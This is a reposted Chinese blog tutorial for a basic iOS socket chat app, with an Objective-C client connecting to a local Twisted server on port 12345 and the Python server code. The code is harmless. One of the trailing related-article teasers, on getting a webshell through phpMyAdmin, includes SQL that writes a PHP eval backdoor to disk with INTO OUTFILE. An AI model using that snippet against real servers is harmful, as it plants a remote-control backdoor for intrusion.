一个简单的socket通信小demo

写了一个socket的程序,可以和本地的服务器进行通信,要先和服务器建立链接,然后发送登录信息,验证成功,就可以和服务器通信了

1 页面截图

2 点击链接服务器,可以链接服务器,服务器的ip地址为:127.0.0.1 端口为 12345;

3 点击链接服务器之后,打印信息如下

4 点击登录,会向服务器发送登录信息: iam:zhangsan, 然后会客户端会显示登录成功

5 比如输入chongqingyoudian 

6 在服务器控制台就能看到客户端发送的信息

客户端代码如下

  1 //
  2 //  ViewController.m
  3 //  05.聊天室
  4 //
  5 //  Created by apple on 14/12/5.
  6 //  Copyright (c) 2014年 heima. All rights reserved.
  7 //
  8 
  9 #import "ViewController.h"
 10 
 11 @interface ViewController ()<NSStreamDelegate,UITextFieldDelegate,UITableViewDataSource,UITableViewDelegate>{
 12     NSInputStream *_inputStream;//对应输入流
 13     NSOutputStream *_outputStream;//对应输出流
 14 }
 15 @property (weak, nonatomic) IBOutlet NSLayoutConstraint *inputViewConstraint;
 16 @property (weak, nonatomic) IBOutlet UITableView *tableView;
 17 
 18 @property (nonatomic, strong) NSMutableArray *chatMsgs;//聊天消息数组
 19 
 20 @end
 21 
 22 @implementation ViewController
 23 
 24 -(NSMutableArray *)chatMsgs{
 25     if (!_chatMsgs) {
 26         _chatMsgs = [NSMutableArray array];
 27     }
 28     
 29     return _chatMsgs;
 30 }
 31 
 32 - (void)viewDidLoad {
 33     [super viewDidLoad];
 34     // Do any additional setup after loading the view, typically from a nib.
 35   
 36     
 37     // 2.收发数据
 38     // 做一个聊天
 39     // 1.用户登录
 40     // 2.收发数据
 41     
 42     // 监听键盘
 43     [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(kbFrmWillChange:) name:UIKeyboardWillChangeFrameNotification object:nil];
 44 }
 45 
 46 
 47 -(void)kbFrmWillChange:(NSNotification *)noti{
 48     NSLog(@"%@",noti.userInfo);
 49     
 50     // 获取窗口的高度
 51     
 52     CGFloat windowH = [UIScreen mainScreen].bounds.size.height;
 53     
 54    
 55     
 56     // 键盘结束的Frm
 57     CGRect kbEndFrm = [noti.userInfo[UIKeyboardFrameEndUserInfoKey] CGRectValue];
 58      // 获取键盘结束的y值
 59     CGFloat kbEndY = kbEndFrm.origin.y;
 60     
 61     
 62     self.inputViewConstraint.constant = windowH - kbEndY;
 63 }
 64 
 65 -(void)stream:(NSStream *)aStream handleEvent:(NSStreamEvent)eventCode{
 66     NSLog(@"%@",[NSThread currentThread]);
 67 
 68 //    NSStreamEventOpenCompleted = 1UL << 0,//输入输出流打开完成
 69 //    NSStreamEventHasBytesAvailable = 1UL << 1,//有字节可读
 70 //    NSStreamEventHasSpaceAvailable = 1UL << 2,//可以发放字节
 71 //    NSStreamEventErrorOccurred = 1UL << 3,// 连接出现错误
 72 //    NSStreamEventEndEncountered = 1UL << 4// 连接结束
 73     switch (eventCode) {
 74         case NSStreamEventOpenCompleted:
 75             NSLog(@"登录服务器成功,输入输出流打开完成");
 76             break;
 77         case NSStreamEventHasBytesAvailable:
 78             NSLog(@"有字节可读");
 79             [self readData];
 80             break;
 81         case NSStreamEventHasSpaceAvailable:
 82             NSLog(@"可以发送字节");
 83             break;
 84         case NSStreamEventErrorOccurred:
 85                         NSLog(@" 连接出现错误");
 86             break;
 87         case NSStreamEventEndEncountered:
 88              NSLog(@"连接结束");
 89             
 90             // 关闭输入输出流
 91             [_inputStream close];
 92             [_outputStream close];
 93             
 94             // 从主运行循环移除
 95             [_inputStream removeFromRunLoop:[NSRunLoop mainRunLoop] forMode:NSDefaultRunLoopMode];
 96             [_outputStream removeFromRunLoop:[NSRunLoop mainRunLoop] forMode:NSDefaultRunLoopMode];
 97             break;
 98         default:
 99             break;
100     }
101     
102 }
103 #pragma mark 在这里先和服务器建立链接
104 - (IBAction)connectToHost:(id)sender {
105     // 1.建立连接
106     NSString *host = @"127.0.0.1";
107     int port = 12345;
108     
109     // 定义C语言输入输出流
110     CFReadStreamRef readStream;
111     CFWriteStreamRef writeStream;
112     CFStreamCreatePairWithSocketToHost(NULL, (__bridge CFStringRef)host, port, &readStream, &writeStream);
113     
114     // 把C语言的输入输出流转化成OC对象
115     _inputStream = (__bridge NSInputStream *)(readStream);
116     _outputStream = (__bridge NSOutputStream *)(writeStream);
117     
118     
119     // 设置代理
120     _inputStream.delegate = self;
121     _outputStream.delegate = self;
122     
123     
124     // 把输入输入流添加到主运行循环
125     // 不添加主运行循环 代理有可能不工作
126     [_inputStream scheduleInRunLoop:[NSRunLoop mainRunLoop] forMode:NSDefaultRunLoopMode];
127     [_outputStream scheduleInRunLoop:[NSRunLoop mainRunLoop] forMode:NSDefaultRunLoopMode];
128     
129     // 打开输入输出流
130     [_inputStream open];
131     [_outputStream open];
132 }
133 
134 #pragma mark 在这里发送登录的信息
135 - (IBAction)loginBtnClick:(id)sender {
136     
137     // 登录
138     // 发送用户名和密码
139     // 在这里做的时候,只发用户名,密码就不用发送
140     
141     // 如果要登录,发送的数据格式为 "iam:zhangsan";
142     // 如果要发送聊天消息,数据格式为 "msg:did you have dinner";
143     
144     //登录的指令
145     NSString *loginStr = @"iam:zhangsan";
146     
147     //把Str转成NSData
148     NSData *data = [loginStr dataUsingEncoding:NSUTF8StringEncoding];
149 
150     
151     [_outputStream write:data.bytes maxLength:data.length];
152 }
153 
154 #pragma mark 读了服务器返回的数据
155 -(void)readData{
156     
157     //建立一个缓冲区 可以放1024个字节
158     uint8_t buf[1024];
159     
160     // 返回实际装的字节数
161     NSInteger len = [_inputStream read:buf maxLength:sizeof(buf)];
162 
163     // 把字节数组转化成字符串
164     NSData *data = [NSData dataWithBytes:buf length:len];
165     
166     // 从服务器接收到的数据
167     NSString *recStr =  [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
168     
169     NSLog(@"%@",recStr);
170     
171     [self reloadDataWithText:recStr];
172     
173 }
174 
175 -(BOOL)textFieldShouldReturn:(UITextField *)textField{
176     
177     NSString *text = textField.text;
178     
179     NSLog(@"%@",text);
180     // 聊天信息
181     NSString *msgStr = [NSString stringWithFormat:@"msg:%@",text];
182     
183     //把Str转成NSData
184     NSData *data = [msgStr dataUsingEncoding:NSUTF8StringEncoding];
185     
186     // 刷新表格
187     [self reloadDataWithText:msgStr];
188     
189     // 发送数据
190     [_outputStream write:data.bytes maxLength:data.length];
191     
192     // 发送完数据,清空textField
193     textField.text = nil;
194     
195     return YES;
196 }
197 
198 -(void)reloadDataWithText:(NSString *)text{
199     [self.chatMsgs addObject:text];
200     
201     [self.tableView reloadData];
202     
203     // 数据多,应该往上滚动
204     NSIndexPath *lastPath = [NSIndexPath indexPathForRow:self.chatMsgs.count - 1 inSection:0];
205     [self.tableView scrollToRowAtIndexPath:lastPath atScrollPosition:UITableViewScrollPositionBottom animated:YES];
206 }
207 
208 #pragma mark 表格的数据源
209 
210 -(NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section{
211     return self.chatMsgs.count;
212 }
213 
214 
215 - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
216 {
217     static NSString *ID = @"Cell";
218     UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:ID];
219    
220     cell.textLabel.text = self.chatMsgs[indexPath.row];
221     
222     return cell;
223 }
224 
225 -(void)scrollViewWillBeginDragging:(UIScrollView *)scrollView{
226     [self.view endEditing:YES];
227 }
228 @end

服务器端代码

 1 from twisted.internet.protocol import Protocol, Factory
 2 from twisted.internet import reactor
 3 
 4 
 5 class IphoneChat(Protocol):
 6     def connectionMade(self):
 7         #self.transport.write("""connected""")
 8         self.factory.clients.append(self)
 9         print "clients are ", self.factory.clients
10     
11     def connectionLost(self, reason):
12         self.factory.clients.remove(self)
13     
14     def dataReceived(self, data):
15         #print "data is ", data
16         a = data.split(':')
17         if len(a) > 1:
18             command = a[0]
19             content = a[1]
20             
21             msg = ""
22             if command == "iam":
23                 self.name = content
24                 msg = self.name + " has joined"
25                 
26             elif command == "msg":
27                 msg = self.name + ": " + content
28             
29             print msg
30                         
31             for c in self.factory.clients:
32                 c.message(msg)
33                 
34     def message(self, message):
35         self.transport.write(message + '\n')
36 
37 
38 factory = Factory()
39 factory.protocol = IphoneChat
40 factory.clients = []
41 
42 reactor.listenTCP(12345, factory)
43 print "Iphone Chat server started"
44 reactor.run()

 

转载于:https://www.cnblogs.com/sunkaifeng/p/5070862.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/373919.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java并发教程– CountDownLatch

Java中的某些并发实用程序自然会比其他并发实用程序受到更多关注&#xff0c;因为它们可以解决通用问题而不是更具体的问题。 我们大多数人经常遇到执行程序服务和并发集合之类的事情。 其他实用程序不太常见&#xff0c;因此有时它们可​​能会使我们逃脱&#xff0c;但是请记…

汉仪尚巍手书可以商用吗_【商用车维修】夏天修空调可以撑起全年修车收入的一半,你会了吗?...

更多精彩&#xff0c;请点击上方蓝字关注我们&#xff01;车载空调是炎热的季节必不可少的利器&#xff0c;但用得多&#xff0c;毛病也多了起来&#xff0c;今天和大家分享一些空调系统的相关知识&#xff0c;助力修车师傅们来应对空调系统的相关故障问题。如何判断制冷系统的…

CSDN编程挑战——《-3+1》

-31 题目详情: 有一个数列&#xff0c;所有的数都是非负整数&#xff0c;你可以进行如下方式进行一次操作&#xff08;注意一次完整的操作必须先后完成如下两个步骤&#xff09;&#xff1a; &#xff08;1&#xff09; 任选一个不小于3的数&#xff0c;把它减少3。 &#xff…

游戏感悟

1.所谓游戏平衡&#xff0c;就是指玩家没有最优解。 2.所谓公司的文化&#xff0c;就是指员工被公司洗脑的那些观点(认知)。 3.人是能动的&#xff0c;摆脱平庸。转载于:https://www.cnblogs.com/yangzhou33/p/5074509.html

Git 简单使用

1.Git是什么 简介&#xff1a;Git是 Linux 之父 Linus Trovalds&#xff0c;为管理 Linux 内核代码而建立的&#xff0c;被认为是分布式版本控制工具中的顶级水准。智能、友好、强健、高效。 作用&#xff1a;新建一个分支&#xff0c;把服务器上最新版的代码fetch下来&#x…

Vaadin附加组件和Maven

介绍 我喜欢Vaadin的 &#xff08;众多&#xff09;一件事是它对Vaadin框架的“附加组件”社区-他们称之为Vaadin目录 。 “附加组件”是框架中社区贡献的附加组件&#xff0c;可以是任何东西&#xff0c;例如从新的客户端小部件到数据表的延迟加载容器。 我肯定会为Activiti看…

八皇后时间复杂度_【算法打卡】N皇后

难度&#xff1a;困难题目&#xff1a;n 皇后问题研究的是如何将 n 个皇后放置在 nn 的棋盘上&#xff0c;并且使皇后彼此之间不能相互攻击。上图为 8 皇后问题的一种解法。给定一个整数 n&#xff0c;返回 n 皇后不同的解决方案的数量。提示&#xff1a;皇后&#xff0c;是国际…

Android-Binder 简析

前言 对于Android来说&#xff0c;Binder的重要性怎么说都不为过。不管是我们的四大组件Activity、Service、BroadcastReceiver、ContentProvider&#xff0c;还是经常在应用中使用到的各种ServiceManager&#xff0c;其背后都是Binder在支撑。然而Binder机制又不是三言两语能够…

CSDN编程挑战——《进制转换》

进制转换 题目详情: 我们通常用的十进制数包含0-9十个数字。假设有一种进制系统包含3种数字&#xff0c;从低到高分别为"oF8”&#xff0c;那么从1到9分别表示为F, 8, Fo, FF, F8, 8o, 8F, 88, Foo, FoF。给定一种进制的数和两种进制的数字表&#xff0c;请把它从第一种进…

tplink 703刷固件

1.软件下载: ImageBuilder链接 如果是全新刷机的话,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin 如果是系统升级的话,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/op…

编程反模式

您是否曾经进行过代码审查&#xff0c;记录了非常高的WTF / m&#xff1f; 您是否想知道所有这些错误代码的原因是什么&#xff1f; 在大多数情况下&#xff0c;导致原因1的主要原因是使用设计和编码反模式。 如果您喜欢定义&#xff0c;请参见以下内容&#xff1a;AntiPatter…

python概率密度函数参数估计_EM算法求高斯混合模型参数估计——Python实现

#coding:gbkimport mathimport copyimport numpy as npimport matplotlib.pyplot as pltisdebug False# 指定k个高斯分布参数&#xff0c;这里指定k2。注意2个高斯分布具有相同均方差Sigma&#xff0c;分别为Mu1,Mu2。def ini_data(Sigma,Mu1,Mu2,k,N):global Xglobal Mugloba…

phpmyadmin 各种技巧拿 webshell

site.com/phpMyAdminsite.com/sqlD:\wamp\www账号还有密码root 密码第一种CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (<?php eval($_POST[pass]);?>);SELECT darkmoon1 FROM darkmoon INTO OUTFILE d:/…

Finally语句块的执行

一、finally语句块是否一定执行&#xff1f; Java中异常捕获机制try...catch...finally块中的finally语句是不是一定会被执行&#xff1f;很多人都说不是&#xff0c;当然他们的回答是正确的&#xff0c;经过试验&#xff0c;至少以下有两种情况下finally语句是不会被执行的&am…

面向对象 封装 集成 特性

访问修饰符&#xff1a;pubulc:公共的&#xff0c;只要引用了命名空间&#xff0c;就可以随意进行访问 private:私有的&#xff0c;只有当前类内部才可以访问 internal&#xff1a;内部的&#xff0c;当前程序集内可以访问&#xff0c;程序集就是命名空间&#xff0c;此修饰符是…

sql 插入text字段包含特殊字符_Kettle(PDI)转换中输出之插入/更新详解

概述Insert / update(插入 / 更新)此步骤首先使用一个或多个查询关键字查找表中的一行。如果找不到该行&#xff0c;则插入该行。如果可以找到它&#xff0c;并且要更新的字段相同&#xff0c;则不执行任何操作。如果它们不完全相同&#xff0c;则更新表中的行。注意&#xff1…

使用Java发送电子邮件

我开始使用Java作为简单的“如何发送电子邮件”来撰写这篇文章&#xff0c;但是后来我发现我需要简要解释更多事情。 因此&#xff0c;这是有关使用Java发送电子邮件的所有摘要。 在Java SE平台之外&#xff08;但包含在JavaEE中&#xff09;&#xff0c; JavaMail软件包提供了…

一张图让你看清Java集合类(Java集合类的总结)

如今关于Java集合类的文章非常多&#xff0c;可是我近期看到一个非常有意思图片&#xff0c;基本上把Java集合的整体框架都给展现出来了。非常直观。 假设发现图片看不清楚。点此处看大图 在这里&#xff0c;集合类分为了Map和Collection两个大的类别。 处于图片左上角的那一块…

CSDN挑战编程——《数学问题》

数学问题 题目详情: 给你两个长度为n的正整数序列分别为{a1,a2,a3...an},{b1,b2,b3...bn},0<ai,bi<100&#xff1b; 设Smax{x1*a1x2*a2x3*a3...xn*an,(1-x1)*b1(1-x2)*b2(1-x3)*b3...(1-xn)*bn}&#xff0c;xi为整数&#xff0c;0<xi<1。 请你求出S的最小值。 输入…

【P1835】小红花

很简单的题&#xff0c;然而我没想到&#xff0c;在NOIP上怎么办嘛QAQ 话说这题不知道怎么分类啊……先扔到玄学里边把…… 原题&#xff1a; Fj在圣诞节来临之际&#xff0c;决定给他的奶牛发一些小红花。现在Fj一共有N头奶牛&#xff0c;这N头牛按照编号1..N&#xff0c;排成…